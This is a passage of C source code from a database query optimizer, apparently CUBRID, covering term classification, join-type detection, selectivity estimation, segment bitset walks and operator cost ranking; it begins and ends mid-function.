/* examine if LHS is indexable or not? */
if (rhs_indexable)
{
if (is_local_name (env, rhs_expr) && pt_is_pseudo_const (lhs_expr))
{
/* is RHS attribute and is LHS constant value ? */
if (rhs_expr->type_enum == PT_TYPE_ENUMERATION)
{
/* lhs is indexable only if this is an equality comparison */
op_type = pt_expr->info.expr.op;
switch (op_type)
{
case PT_EQ:
case PT_IS_IN:
case PT_EQ_SOME:
case PT_NULLSAFE_EQ:
break;
case PT_RANGE:
if (!QO_TERM_IS_FLAGED (term, QO_TERM_EQUAL_OP))
{
rhs_indexable = false;
}
break;
default:
rhs_indexable = false;
break;
}
}
else
{
rhs_indexable = true;
}
}
else
{
rhs_indexable = false;
}
}
if (rhs_indexable
&& (pt_is_function_index_expr (term->env->parser, rhs_expr, false)
|| (rhs_expr && rhs_expr->info.expr.op == PT_PRIOR
&& pt_is_function_index_expr (term->env->parser, rhs_expr->info.expr.arg1, false))))
{
/* we should be dealing with a function indexable expression, so we must check if a segment has been
* associated with it
*/
n = bitset_first_member (&rhs_segs);
if ((n == -1) || (QO_SEG_FUNC_INDEX (QO_ENV_SEG (env, n)) == false))
{
rhs_indexable = false;
}
}
if (rhs_indexable)
{
if (!lhs_indexable)
{
op_type = pt_converse_op (op_type);
if (op_type != 0)
{
/* converse 'const op attr' to 'attr op const' */
PT_NODE *tmp;
tmp = pt_expr->info.expr.arg2;
pt_expr->info.expr.arg2 = pt_expr->info.expr.arg1;
pt_expr->info.expr.arg1 = tmp;
pt_expr->info.expr.op = op_type;
}
else
{
/* must be impossible error. check pt_converse_op() */
QO_ABORT (env);
}
}
n = bitset_first_member (&rhs_segs);
if (n != -1)
{
/* record in the term that it has indexable segment as RHS */
term->index_seg[i++] = QO_ENV_SEG (env, n);
}
} /* if (rhs_indexable) */
QO_TERM_CAN_USE_INDEX (term) = i; /* cardinality of term->index_seg[] array */
}
else
{ /* if (!bitset_intersects(&lhs_nodes, &rhs_nodes)) */
merge_applies = false;
QO_TERM_CAN_USE_INDEX (term) = 0;
} /* if (!bitset_intersects(&lhs_nodes, &rhs_nodes)) */
/* fill in segment and node information of QO_TERM structure */
bitset_assign (&(QO_TERM_SEGS (term)), &lhs_segs);
bitset_union (&(QO_TERM_SEGS (term)), &rhs_segs);
bitset_assign (&(QO_TERM_NODES (term)), &lhs_nodes);
bitset_union (&(QO_TERM_NODES (term)), &rhs_nodes);
/* number of nodes with which this term associated */
n = bitset_cardinality (&(QO_TERM_NODES (term)));
/* determine the class of the term */
if (term_type != PREDICATE_TERM)
{
QO_ASSERT (env, n >= 2);
QO_TERM_CLASS (term) = QO_TC_PATH;
if (n == 2)
{
/* i.e., it's a path term... In this case, it's imperative that we get the head and tail nodes and segs
* right. Fortunately, in this particular case we can rely on the compiler to produce the term in a
* consistent way, with the head on the lhs and the tail on the rhs.
*/
head_node = QO_ENV_NODE (env, bitset_first_member (&lhs_nodes));
tail_node = QO_ENV_NODE (env, bitset_first_member (&rhs_nodes));
QO_ASSERT (env, QO_NODE_IDX (head_node) < QO_NODE_IDX (tail_node));
}
}
else if (n == 0)
{
bool inst_num = false;
(void) parser_walk_tree (parser, pt_expr, pt_check_instnum_pre, NULL, pt_check_instnum_post, &inst_num);
QO_TERM_CLASS (term) = inst_num ? QO_TC_TOTALLY_AFTER_JOIN : QO_TC_OTHER;
}
else if (n == 1)
{
QO_TERM_CLASS (term) = QO_TC_SARG;
/* QO_NODE to which this sarg term belongs */
head_node = QO_ENV_NODE (env, bitset_iterate (&(QO_TERM_NODES (term)), &iter));
}
else if (n == 2)
{
QO_TERM_CLASS (term) = QO_TC_JOIN;
/* Although it may be tempting to say that the head node is the first member of the lhs_nodes and the tail node
* is the first member of the rhs_nodes, that's not always true. For example, a term like "x.a + y.b < 100" can
* get in here, and then *both* head and tail are in lhs_nodes. If you get down into the code guarded by
* 'merge_applies' you can safely make more stringent assumptions, but not before then.
*/
head_node = QO_ENV_NODE (env, bitset_iterate (&(QO_TERM_NODES (term)), &iter));
tail_node = QO_ENV_NODE (env, bitset_next_member (&iter));
if (QO_NODE_IDX (head_node) > QO_NODE_IDX (tail_node))
{
QO_NODE *swap_node = NULL;
swap_node = head_node;
head_node = tail_node;
tail_node = swap_node;
}
QO_ASSERT (env, QO_NODE_IDX (head_node) < QO_NODE_IDX (tail_node));
QO_ASSERT (env, QO_NODE_IDX (tail_node) > 0);
if (QO_TERM_IS_FLAGED (term, QO_TERM_MULTI_COLL_PRED))
{
/*+ multi col term is only indexable for TC_SARG */
QO_TERM_CAN_USE_INDEX (term) = 0;
}
}
else
{ /* n >= 3 */
QO_TERM_CLASS (term) = QO_TC_OTHER;
if (QO_TERM_IS_FLAGED (term, QO_TERM_MULTI_COLL_PRED))
{
/*+ multi col term is only indexable for TC_SARG */
QO_TERM_CAN_USE_INDEX (term) = 0;
}
}
if (n == 2)
{
QO_ASSERT (env, QO_TERM_CLASS (term) == QO_TC_PATH || QO_TERM_CLASS (term) == QO_TC_JOIN);
/* This is a pretty weak test; it only looks for equality comparisons. */
merge_applies &= expr_is_mergable (pt_expr);
/* check for dependent edge. do not join with it */
if (BITSET_MEMBER (QO_NODE_DEP_SET (head_node), QO_NODE_IDX (tail_node))
|| BITSET_MEMBER (QO_NODE_DEP_SET (tail_node), QO_NODE_IDX (head_node)))
{
QO_TERM_CLASS (term) = QO_TC_OTHER;
merge_applies = false;
}
/* And there had better be something on both sides of the comparison too. You don't want to be misled by
* something like "x.a + y.b = 100" because that's definitely not mergeable right now. Perhaps if we rewrote it
* like "x.a = 100 - y.b" but that seems to be stretching things a little bit.
*/
merge_applies = merge_applies && (!bitset_is_empty (&lhs_segs) && !bitset_is_empty (&rhs_segs));
if (merge_applies || QO_TERM_CLASS (term) == QO_TC_PATH)
{
head_seg = QO_ENV_SEG (env, bitset_iterate (&(QO_TERM_SEGS (term)), &iter));
for (t = bitset_iterate (&(QO_TERM_SEGS (term)), &iter); t != -1; t = bitset_next_member (&iter))
{
tail_seg = QO_ENV_SEG (env, t);
if (QO_NODE_IDX (QO_SEG_HEAD (tail_seg)) != QO_NODE_IDX (QO_SEG_HEAD (head_seg)))
{
break; /* found tail */
}
}
/* Now make sure that the head and tail segs correspond to the proper nodes. */
if (QO_SEG_HEAD (head_seg) != head_node)
{
QO_SEGMENT *swap_seg = NULL;
swap_seg = head_seg;
head_seg = tail_seg;
tail_seg = swap_seg;
}
QO_ASSERT (env, QO_SEG_HEAD (head_seg) == head_node);
QO_ASSERT (env, QO_SEG_HEAD (tail_seg) == tail_node);
/* These are really only interesting for path terms, but it doesn't hurt to set them for others too. */
QO_TERM_SEG (term) = head_seg;
QO_TERM_OID_SEG (term) = tail_seg;
/* The term might be a merge term (i.e., it uses '=' as the operator), but the expressions might not be
* simple attribute references, and we mustn't try to establish equivalence classes in that case.
*/
if (qo_is_equi_join_term (term))
{
qo_equivalence (head_seg, tail_seg);
QO_TERM_NOMINAL_SEG (term) = head_seg;
}
}
/* always true transitive equi-join term is not suitable as m-join edge. */
if (PT_EXPR_INFO_IS_FLAGED (pt_expr, PT_EXPR_INFO_TRANSITIVE))
{
merge_applies = false;
}
if (merge_applies)
{
QO_TERM_SET_FLAG (term, QO_TERM_MERGEABLE_EDGE);
}
/* Now make sure that the two (node) ends of the join get cached in the term structure. */
QO_TERM_HEAD (term) = head_node;
QO_TERM_TAIL (term) = tail_node;
QO_ASSERT (env, QO_NODE_IDX (QO_TERM_HEAD (term)) < QO_NODE_IDX (QO_TERM_TAIL (term)));
}
if (n == 1)
{
QO_ASSERT (env, QO_TERM_CLASS (term) == QO_TC_SARG);
}
/* classify TC_JOIN term for outer join and determine its join type */
if (QO_TERM_CLASS (term) == QO_TC_JOIN)
{
QO_ASSERT (env, QO_NODE_IDX (head_node) < QO_NODE_IDX (tail_node));
/* inner join until proven otherwise */
QO_TERM_JOIN_TYPE (term) = JOIN_INNER;
/* check iff explicit join term */
if (QO_ON_COND_TERM (term))
{
QO_NODE *on_node;
on_node = QO_ENV_NODE (env, QO_TERM_LOCATION (term));
QO_ASSERT (env, on_node != NULL);
QO_ASSERT (env, QO_NODE_IDX (on_node) > 0);
QO_ASSERT (env, QO_NODE_LOCATION (on_node) > 0);
QO_ASSERT (env, QO_TERM_LOCATION (term) == QO_NODE_LOCATION (on_node));
if (QO_NODE_IDX (tail_node) == QO_NODE_IDX (on_node))
{
QO_ASSERT (env, QO_NODE_LOCATION (head_node) < QO_NODE_LOCATION (tail_node));
QO_ASSERT (env, QO_NODE_LOCATION (tail_node) > 0);
if (QO_NODE_PT_JOIN_TYPE (on_node) == PT_JOIN_LEFT_OUTER)
{
QO_TERM_JOIN_TYPE (term) = JOIN_LEFT;
QO_ADD_RIGHT_DEP_SET (on_node, head_node);
QO_ADD_OUTER_DEP_SET (on_node, head_node);
}
else if (QO_NODE_PT_JOIN_TYPE (on_node) == PT_JOIN_RIGHT_OUTER)
{
QO_TERM_JOIN_TYPE (term) = JOIN_RIGHT;
QO_ADD_RIGHT_DEP_SET (on_node, head_node);
QO_ADD_OUTER_DEP_SET (on_node, head_node);
QO_ADD_RIGHT_TO_OUTER (on_node, head_node);
}
else if (QO_NODE_PT_JOIN_TYPE (on_node) == PT_JOIN_FULL_OUTER)
{ /* not used */
QO_TERM_JOIN_TYPE (term) = JOIN_OUTER;
}
else if (QO_NODE_PT_JOIN_TYPE (on_node) == PT_JOIN_INNER)
{
QO_TERM_JOIN_TYPE (term) = JOIN_INNER;
QO_ADD_RIGHT_DEP_SET (on_node, head_node);
}
}
else
{
/* is not valid explicit join term */
QO_TERM_CLASS (term) = QO_TC_OTHER;
QO_TERM_JOIN_TYPE (term) = NO_JOIN;
/* keep out from m-join edge */
QO_TERM_CLEAR_FLAG (term, QO_TERM_MERGEABLE_EDGE);
}
}
}
wrapup:
/* A negative selectivity means that the cardinality of the result depends only on the cardinality of the head, not
* on the product of the cardinalities of the head and the tail as in the usual case.
*/
switch (term_type)
{
case PT_PATH_INNER:
QO_TERM_JOIN_TYPE (term) = JOIN_INNER;
if (QO_NODE_NCARD (QO_TERM_TAIL (term)) == 0)
{
QO_TERM_SELECTIVITY (term) = 0.0;
}
else
{
QO_TERM_SELECTIVITY (term) = 1.0 / QO_NODE_NCARD (QO_TERM_TAIL (term));
}
break;
case PT_PATH_OUTER:
{
QO_TERM *t_term;
QO_NODE *t_node;
/* Traverse previously generated terms */
for (t = 0; t < env->nterms - 1; t++)
{
t_term = QO_ENV_TERM (env, t);
if (QO_TERM_CLASS (t_term) == QO_TC_PATH && QO_TERM_JOIN_TYPE (t_term) == JOIN_LEFT)
{
if (head_node == NULL)
{
break;
}
if ((QO_NODE_IDX (QO_TERM_HEAD (t_term)) == QO_NODE_IDX (head_node))
|| (QO_NODE_IDX (QO_TERM_TAIL (t_term)) == QO_NODE_IDX (head_node)))
{
/* found previously generated head_nodes's path-term */
/* get tail node */
t_node = QO_TERM_TAIL (t_term);
/* apply ordered dependency to the tail node */
bitset_union (&(QO_NODE_OUTER_DEP_SET (tail_node)), &(QO_NODE_OUTER_DEP_SET (t_node)));
bitset_add (&(QO_NODE_OUTER_DEP_SET (tail_node)), QO_NODE_IDX (t_node));
}
}
}
}
/* FALL THROUGH */
case PT_PATH_OUTER_WEASEL:
/* These can't be implemented with index scans regardless because an index scan won't properly implement the
* left-outer semantics of the path...
*/
QO_TERM_JOIN_TYPE (term) = JOIN_LEFT;
QO_TERM_SELECTIVITY (term) = -1.0;
QO_TERM_CAN_USE_INDEX (term) = 0;
/* For term_type is PT_PATH_OUTER_WEASEL, order dependency is needed. i.e. it's a path term. */
if (term_type == PT_PATH_OUTER_WEASEL && head_node != NULL && tail_node != NULL)
{
assert (QO_TERM_CLASS (term) == QO_TC_PATH);
bitset_union (&(QO_NODE_OUTER_DEP_SET (tail_node)), &(QO_NODE_OUTER_DEP_SET (head_node)));
bitset_add (&(QO_NODE_OUTER_DEP_SET (tail_node)), QO_NODE_IDX (head_node));
}
break;
case PREDICATE_TERM:
QO_TERM_SELECTIVITY (term) = qo_expr_selectivity (env, pt_expr);
break;
default:
QO_TERM_JOIN_TYPE (term) = JOIN_INNER;
QO_TERM_SELECTIVITY (term) = -1.0;
break;
} /* switch (term_type) */
bitset_delset (&lhs_segs);
bitset_delset (&rhs_segs);
bitset_delset (&lhs_nodes);
bitset_delset (&rhs_nodes);
bitset_delset (&multi_col_segs);
}
/*
* qo_expr_segs () - Returns a bitset encoding all of the join graph segments
* used in the pt_expr
* return: BITSET
* env(in):
* pt_expr(in): pointer to a conjunct
* result(out): BITSET of join segments (OUTPUT PARAMETER)
*/
void
qo_expr_segs (QO_ENV * env, PT_NODE * pt_expr, BITSET * result)
{
PT_NODE *next;
if (pt_expr == NULL)
{
er_set (ER_WARNING_SEVERITY, ARG_FILE_LINE, ER_FAILED_ASSERTION, 1, "pt_expr != NULL");
return;
}
/* remember the next link and then break it */
next = pt_expr->next;
pt_expr->next = NULL;
/* use env to get the bitset to the walk functions */
QO_ENV_TMP_BITSET (env) = result;
(void) parser_walk_tree (env->parser, pt_expr, set_seg_expr, &env, pt_continue_walk, NULL);
/* recover the next link */
pt_expr->next = next;
/* reset the temp pointer so we don't have a dangler */
QO_ENV_TMP_BITSET (env) = NULL;
}
/*
* set_seg_expr () -
* return: PT_NODE *
* parser(in): parser environment
* tree(in): tree to walk
* arg(in):
* continue_walk(in):
*
* Note: This walk "pre" function will set a bit in the bitset for
* each segment associated with the PT_NAME node.
*/
static PT_NODE *
set_seg_expr (PARSER_CONTEXT * parser, PT_NODE * tree, void *arg, int *continue_walk)
{
QO_ENV *env = *(QO_ENV **) arg;
*continue_walk = PT_CONTINUE_WALK;
/*
* Make sure we check all subqueries for embedded references. This
* stuff really ought to all be done in one pass.
*/
switch (tree->node_type)
{
case PT_SPEC:
(void) parser_walk_tree (parser, tree->info.spec.derived_table, set_seg_expr, arg, pt_continue_walk, NULL);
*continue_walk = PT_LIST_WALK;
break;
case PT_NAME:
(void) set_seg_node (tree, env, QO_ENV_TMP_BITSET (env));
*continue_walk = PT_LIST_WALK;
break;
case PT_DOT_:
(void) set_seg_node (tree->info.dot.arg2, env, QO_ENV_TMP_BITSET (env));
*continue_walk = PT_LIST_WALK;
break;
case PT_EXPR:
if (tree->info.expr.op == PT_SYS_CONNECT_BY_PATH || tree->info.expr.op == PT_CONNECT_BY_ROOT
|| tree->info.expr.op == PT_PRIOR)
{
*continue_walk = PT_STOP_WALK;
}
if (pt_is_function_index_expr (parser, tree, false))
{
int count_bits = bitset_cardinality (QO_ENV_TMP_BITSET (env));
(void) set_seg_node (tree, env, QO_ENV_TMP_BITSET (env));
if (bitset_cardinality (QO_ENV_TMP_BITSET (env)) - count_bits > 0)
{
*continue_walk = PT_LIST_WALK;
}
}
break;
case PT_JSON_TABLE:
(void) parser_walk_tree (parser, tree->info.json_table_info.expr, set_seg_expr, arg, pt_continue_walk, NULL);
*continue_walk = PT_LIST_WALK;
break;
default:
break;
}
return tree; /* don't alter tree structure */
}
/*
* set_seg_node () -
* return: nothing
* attr(in): attribute to set the seg for
* env(in): optimizer environment
* bitset(in): bitset in which to set the bit for the segment
*/
static void
set_seg_node (PT_NODE * attr, QO_ENV * env, BITSET * bitset)
{
QO_NODE *node;
QO_SEGMENT *seg;
PT_NODE *entity;
node = lookup_node (attr, env, &entity);
/* node will be null if this attr resolves to an enclosing scope */
if (node != NULL && (seg = lookup_seg (node, attr, env)) != NULL)
{
/*
* lookup_seg() really shouldn't ever fail here, but it used to
* for shared variables, and it doesn't really hurt anyone just
* to ignore failures here.
*/
bitset_add (bitset, QO_SEG_IDX (seg));
}
}
/*
* expr_is_mergable () - Test if the pt_expr is an equi-join conjunct
* return: bool
* pt_expr(in):
*/
static bool
expr_is_mergable (PT_NODE * pt_expr)
{
if (pt_expr->or_next == NULL)
{ /* keep out OR conjunct */
if (!pt_is_query (pt_expr->info.expr.arg1) && !pt_is_query (pt_expr->info.expr.arg2))
{
if (pt_expr->info.expr.op == PT_EQ)
{
return true;
}
else if (pt_expr->info.expr.op == PT_RANGE)
{
PT_NODE *between_and;
between_and = pt_expr->info.expr.arg2;
if (between_and->or_next == NULL /* has only one range */
&& between_and->info.expr.op == PT_BETWEEN_EQ_NA)
{
return true;
}
}
}
}
return false;
}
/*
* qo_is_equi_join_term () - Test if the term is an equi-join conjunct whose
* left and right sides are simple attribute references
* return: bool
* term(in):
*/
static bool
qo_is_equi_join_term (QO_TERM * term)
{
PT_NODE *pt_expr;
PT_NODE *rhs_expr;
if (QO_TERM_IS_FLAGED (term, QO_TERM_SINGLE_PRED) && QO_TERM_IS_FLAGED (term, QO_TERM_EQUAL_OP))
{
if (QO_TERM_IS_FLAGED (term, QO_TERM_RANGELIST))
{
/* keep out OR conjunct */
return false;
}
pt_expr = QO_TERM_PT_EXPR (term);
if (pt_is_attr (pt_expr->info.expr.arg1))
{
rhs_expr = pt_expr->info.expr.arg2;
if (pt_expr->info.expr.op == PT_RANGE)
{
assert (rhs_expr->info.expr.op == PT_BETWEEN_EQ_NA);
assert (rhs_expr->or_next == NULL);
/* has only one range */
rhs_expr = rhs_expr->info.expr.arg1;
}
return pt_is_attr (rhs_expr);
}
}
return false;
}
/*
* is_dependent_table () - Returns true iff the tree represents a dependent
* derived table for this query
* return: bool
* entity(in): entity spec for a from list entry
*/
static bool
is_dependent_table (PT_NODE * entity)
{
if (entity->info.spec.derived_table == NULL)
{
return false;
}
/* this test is too pessimistic. The argument must depend on a previous entity spec in the from list.
* >>>> FIXME some day <<<<
*
* is this still a thing?
*/
switch (entity->info.spec.derived_table_type)
{
case PT_IS_SET_EXPR:
case PT_IS_CSELECT:
return true;
case PT_DERIVED_JSON_TABLE:
return true;
case PT_IS_SUBQUERY:
default:
// what else?
return entity->info.spec.derived_table->info.query.correlation_level == 1;
}
}
/*
* get_term_subqueries () - walks the expression to see whether it contains any
* correlated subqueries. If so, it records the
* identity of the containing term in the subquery
* structure
* return:
* env(in): optimizer environment
* term(in):
*/
static void
get_term_subqueries (QO_ENV * env, QO_TERM * term)
{
PT_NODE *pt_expr, *next;
WALK_INFO info;
if (QO_IS_DEP_TERM (term))
{
/*
* This is a pseudo-term introduced to keep track of derived
* table dependencies. If the dependent derived table is based
* on a subquery, we need to find that subquery and record it in
* the pseudo-term.
*/
pt_expr = QO_NODE_ENTITY_SPEC (QO_TERM_TAIL (term));
}
else
{
/*
* This is a normal term, and we need to find all of the
* correlated subqueries contained within it.
*/
pt_expr = QO_TERM_PT_EXPR (term);
}
/*
* This should only happen for dependent derived tables, either those
* based on a set or when checking out QO_TC_DEP_JOIN terms
* introduced for ddt's that depend on more than one thing.
*/
if (pt_expr == NULL)
{
return;
}
next = pt_expr->next;
pt_expr->next = NULL;
info.env = env;
info.term = term;
(void) parser_walk_tree (QO_ENV_PARSER (env), pt_expr, check_subquery_pre, &info, pt_continue_walk, NULL);
pt_expr->next = next;
}
/*
* get_opcode_rank () -
* return:
* opcode(in):
*/
static int
get_opcode_rank (PT_OP_TYPE opcode)
{
switch (opcode)
{
/* Group 1 -- light */
case PT_COERCIBILITY:
/* is always folded to constant : should not reach this code */
assert (false);
case PT_CHARSET:
case PT_COLLATION:
case PT_AND:
case PT_OR:
case PT_XOR:
case PT_NOT:
case PT_ASSIGN:
case PT_IS_IN:
case PT_IS_NOT_IN:
case PT_BETWEEN:
case PT_NOT_BETWEEN:
case PT_EQ:
case PT_EQ_SOME:
case PT_NE_SOME:
case PT_GE_SOME:
case PT_GT_SOME:
case PT_LT_SOME:
case PT_LE_SOME:
case PT_EQ_ALL:
case PT_NE_ALL:
case PT_GE_ALL:
case PT_GT_ALL:
case PT_LT_ALL:
case PT_LE_ALL:
case PT_NE:
case PT_GE:
case PT_GT:
case PT_LT:
case PT_LE:
case PT_GT_INF:
case PT_LT_INF:
case PT_BIT_NOT:
case PT_BIT_AND:
case PT_BIT_OR:
case PT_BIT_XOR:
case PT_BITSHIFT_LEFT:
case PT_BITSHIFT_RIGHT:
case PT_DIV:
case PT_MOD:
case PT_NULLSAFE_EQ:
case PT_PLUS:
case PT_MINUS:
case PT_TIMES:
case PT_DIVIDE:
case PT_UNARY_MINUS:
case PT_EXISTS:
case PT_BETWEEN_AND:
case PT_BETWEEN_GE_LE:
case PT_BETWEEN_GE_LT:
case PT_BETWEEN_GT_LE:
case PT_BETWEEN_GT_LT:
case PT_BETWEEN_EQ_NA:
case PT_BETWEEN_INF_LE:
case PT_BETWEEN_INF_LT:
case PT_BETWEEN_GE_INF:
case PT_BETWEEN_GT_INF:
case PT_RANGE:
case PT_SYS_DATE:
case PT_CURRENT_DATE:
case PT_SYS_TIME:
case PT_CURRENT_TIME:
case PT_SYS_TIMESTAMP:
case PT_CURRENT_TIMESTAMP:
case PT_SYS_DATETIME:
case PT_CURRENT_DATETIME:
case PT_UTC_TIME:
case PT_UTC_DATE:
case PT_CURRENT_USER:
case PT_LOCAL_TRANSACTION_ID:
case PT_CURRENT_VALUE:
case PT_NEXT_VALUE:
case PT_INST_NUM:
case PT_ROWNUM:
case PT_ORDERBY_NUM:
case PT_MODULUS:
case PT_RAND:
case PT_DRAND:
case PT_RANDOM:
case PT_DRANDOM:
case PT_FLOOR:
case PT_CEIL:
case PT_SIGN:
case PT_POWER:
case PT_ROUND:
case PT_LOG:
case PT_EXP:
case PT_SQRT:
case PT_ABS:
case PT_CHR:
case PT_LEVEL:
case PT_CONNECT_BY_ISLEAF:
case PT_CONNECT_BY_ISCYCLE:
case PT_IS_NULL:
case PT_IS_NOT_NULL:
case PT_IS:
case PT_IS_NOT:
case PT_ACOS:
case PT_ASIN:
case PT_ATAN:
case PT_ATAN2:
case PT_SIN:
case PT_COS:
case PT_TAN:
case PT_COT:
case PT_DEGREES:
case PT_RADIANS:
case PT_PI:
case PT_LN:
case PT_LOG2:
case PT_LOG10:
case PT_DATEF:
case PT_TIMEF:
case PT_TIME_FORMAT:
case PT_TIMESTAMP:
case PT_YEARF:
case PT_MONTHF:
case PT_DAYF:
case PT_DAYOFMONTH:
case PT_HOURF:
case PT_MINUTEF:
case PT_SECONDF:
case PT_UNIX_TIMESTAMP:
case PT_FROM_UNIXTIME:
case PT_QUARTERF:
case PT_WEEKDAY:
case PT_DAYOFWEEK:
case PT_DAYOFYEAR:
case PT_TODAYS:
case PT_FROMDAYS:
case PT_TIMETOSEC:
case PT_SECTOTIME:
case PT_MAKEDATE:
case PT_MAKETIME:
case PT_ADDTIME:
case PT_NEW_TIME:
case PT_WEEKF:
case PT_SCHEMA:
case PT_DATABASE:
case PT_VERSION:
case PT_USER:
case PT_ROW_COUNT:
case PT_LAST_INSERT_ID:
case PT_DEFAULTF:
case PT_LIST_DBS:
case PT_OID_OF_DUPLICATE_KEY:
case PT_TYPEOF:
case PT_EVALUATE_VARIABLE:
case PT_DEFINE_VARIABLE:
case PT_BIN:
case PT_INET_ATON:
case PT_INET_NTOA:
case PT_FROM_TZ:
case PT_DBTIMEZONE:
case PT_SESSIONTIMEZONE:
case PT_UTC_TIMESTAMP:
case PT_SCHEMA_DEF:
return RANK_EXPR_LIGHT;
/* Group 2 -- medium */
case PT_REPEAT:
case PT_SPACE:
case PT_SETEQ:
case PT_SETNEQ:
case PT_SUPERSETEQ:
case PT_SUPERSET:
case PT_SUBSET:
case PT_SUBSETEQ:
case PT_POSITION:
case PT_FINDINSET:
case PT_SUBSTRING:
case PT_SUBSTRING_INDEX:
case PT_OCTET_LENGTH:
case PT_BIT_LENGTH:
case PT_CHAR_LENGTH:
case PT_LOWER:
case PT_UPPER:
case PT_HEX:
case PT_ASCII:
case PT_CONV:
case PT_TRIM:
case PT_LIKE_LOWER_BOUND:
case PT_LIKE_UPPER_BOUND:
case PT_LTRIM:
case PT_RTRIM:
case PT_LPAD:
case PT_RPAD:
case PT_REPLACE:
case PT_TRANSLATE:
case PT_STRCAT:
case PT_TO_CHAR:
case PT_TO_DATE:
case PT_TO_NUMBER:
case PT_TO_TIME:
case PT_TO_TIMESTAMP:
case PT_TO_DATETIME:
case PT_TRUNC:
case PT_INSTR:
case PT_LEAST:
case PT_GREATEST:
case PT_ADD_MONTHS:
case PT_LAST_DAY:
case PT_MONTHS_BETWEEN:
case PT_CASE:
case PT_NULLIF:
case PT_COALESCE:
case PT_NVL:
case PT_NVL2:
case PT_DECODE:
case PT_EXTRACT:
case PT_LIKE_ESCAPE:
case PT_CAST:
case PT_PATH_EXPR_SET:
case PT_IF:
case PT_IFNULL:
case PT_ISNULL:
case PT_CONCAT:
case PT_CONCAT_WS:
case PT_FIELD:
case PT_LEFT:
case PT_RIGHT:
case PT_LOCATE:
case PT_MID:
case PT_STRCMP:
case PT_REVERSE:
case PT_DISK_SIZE:
case PT_BIT_COUNT:
case PT_ADDDATE:
case PT_DATE_ADD:
case PT_SUBDATE:
case PT_DATE_SUB:
case PT_FORMAT:
case PT_DATE_FORMAT:
case PT_STR_TO_DATE:
case PT_DATEDIFF:
case PT_TIMEDIFF:
case PT_TO_ENUMERATION_VALUE:
case PT_TZ_OFFSET:
case PT_INDEX_PREFIX:
case PT_TO_DATETIME_TZ:
case PT_TO_TIMESTAMP_TZ:
case PT_CRC32:
case PT_CONV_TZ:
return RANK_EXPR_MEDIUM;
/* Group 3 -- heavy */
case PT_LIKE:
case PT_NOT_LIKE:
case PT_RLIKE:
case PT_NOT_RLIKE:
case PT_RLIKE_BINARY:
case PT_NOT_RLIKE_BINARY:
case PT_MD5:
case PT_AES_ENCRYPT:
case PT_AES_DECRYPT:
case PT_SHA_ONE:
case PT_SHA_TWO:
case PT_ENCRYPT:
case PT_DECRYPT:
case PT_INDEX_CARDINALITY:
case PT_TO_BASE64:
case PT_FROM_BASE64:
case PT_SYS_GUID:
case PT_SLEEP:
return RANK_EXPR_HEAVY;
/* special case operator */
case PT_FUNCTION_HOLDER:
/* should be solved at PT_EXPR */
assert (false);
return RANK_EXPR_MEDIUM;
break;
default:
return RANK_EXPR_MEDIUM;
}
}
/*
* get_expr_fcode_rank () -
* return:
* fcode(in): function code
* Only the functions embedded in an expression (with PT_FUNCTION_HOLDER)
* should be added here.
*/
static int
get_expr_fcode_rank (FUNC_TYPE fcode)
{
switch (fcode)
{
case F_ELT:
return RANK_EXPR_LIGHT;
case F_JSON_ARRAY:
case F_JSON_ARRAY_APPEND:
case F_JSON_ARRAY_INSERT:
case F_JSON_CONTAINS:
case F_JSON_CONTAINS_PATH:
case F_JSON_DEPTH:
case F_JSON_EXTRACT:
case F_JSON_GET_ALL_PATHS:
case F_JSON_KEYS:
case F_JSON_INSERT:
case F_JSON_LENGTH:
case F_JSON_MERGE:
case F_JSON_MERGE_PATCH:
case F_JSON_OBJECT:
case F_JSON_PRETTY:
case F_JSON_QUOTE:
case F_JSON_REMOVE:
case F_JSON_REPLACE:
case F_JSON_SEARCH:
case F_JSON_SET:
case F_JSON_TYPE:
case F_JSON_UNQUOTE:
case F_JSON_VALID:
case F_INSERT_SUBSTRING:
case F_REGEXP_COUNT:
case F_REGEXP_INSTR:
case F_REGEXP_LIKE:
case F_REGEXP_REPLACE:
case F_REGEXP_SUBSTR:
return RANK_EXPR_MEDIUM;
default:
/* each function must fill its rank */
assert (false);
return RANK_EXPR_FUNCTION;
}
}
/*
* get_operand_rank () -
* return:
* node(in):
*/
static int
get_operand_rank (PT_NODE * node)
{
int rank = RANK_DEFAULT;
if (node)
{
switch (node->node_type)
{
case PT_NAME:
rank = RANK_NAME;
break;
case PT_VALUE:
rank = RANK_VALUE;
break;
case PT_EXPR:
if (node->info.expr.op == PT_FUNCTION_HOLDER)
{
PT_NODE *function = node->info.expr.arg1;
assert (function != NULL);
if (function == NULL)
{
rank = RANK_EXPR_MEDIUM;
}
else
{
rank = get_expr_fcode_rank (function->info.function.function_type);
}
}
else
{
rank = get_opcode_rank (node->info.expr.op);
}
break;
case PT_FUNCTION:
rank = RANK_EXPR_FUNCTION;
break;
default:
break;
}
}
return rank;
}
/*
* get_term_rank () - walks the expression to see whether it contains any
* rankable things. If so, it records the rank of the
* containing term
* return:
* env(in): optimizer environment
* term(in): term to get
*/
static void
get_term_rank (QO_ENV * env, QO_TERM * term)
{
PT_NODE *pt_expr;
QO_TERM_RANK (term) = bitset_cardinality (&(QO_TERM_SUBQUERIES (term))) * RANK_QUERY;
if (QO_IS_FAKE_TERM (term))
{
pt_expr = NULL; /* do nothing */
}
else
{
pt_expr = QO_TERM_PT_EXPR (term);
}
if (pt_expr == NULL)
{
return;
}
/* At here, do not traverse OR list */
switch (pt_expr->node_type)
{
case PT_EXPR:
QO_TERM_RANK (term) += get_opcode_rank (pt_expr->info.expr.op);
if (pt_expr->info.expr.arg1)
QO_TERM_RANK (term) += get_operand_rank (pt_expr->info.expr.arg1);
if (pt_expr->info.expr.arg2)
QO_TERM_RANK (term) += get_operand_rank (pt_expr->info.expr.arg2);
if (pt_expr->info.expr.arg3)
QO_TERM_RANK (term) += get_operand_rank (pt_expr->info.expr.arg3);
break;
default:
break;
}
}
/*
* check_subquery_pre () - Pre routine to add to some bitset all correlated
* subqueries found in an expression
* return: PT_NODE *
* parser(in): parser environmnet
* node(in): node to check
* arg(in):
* continue_walk(in):
*/
static PT_NODE *
check_subquery_pre (PARSER_CONTEXT * parser, PT_NODE * node, void *arg, int *continue_walk)
{
WALK_INFO *info = (WALK_INFO *) arg;
/*
* Be sure to reenable walking for list tails.
*/
*continue_walk = PT_CONTINUE_WALK;
if (node->node_type == PT_SELECT || node->node_type == PT_UNION || node->node_type == PT_DIFFERENCE
|| node->node_type == PT_INTERSECTION)
{
*continue_walk = PT_LIST_WALK; /* NEVER need to look inside queries */
if (node->info.query.correlation_level == 1)
{
/*
* Find out the index of this subquery, and record that index
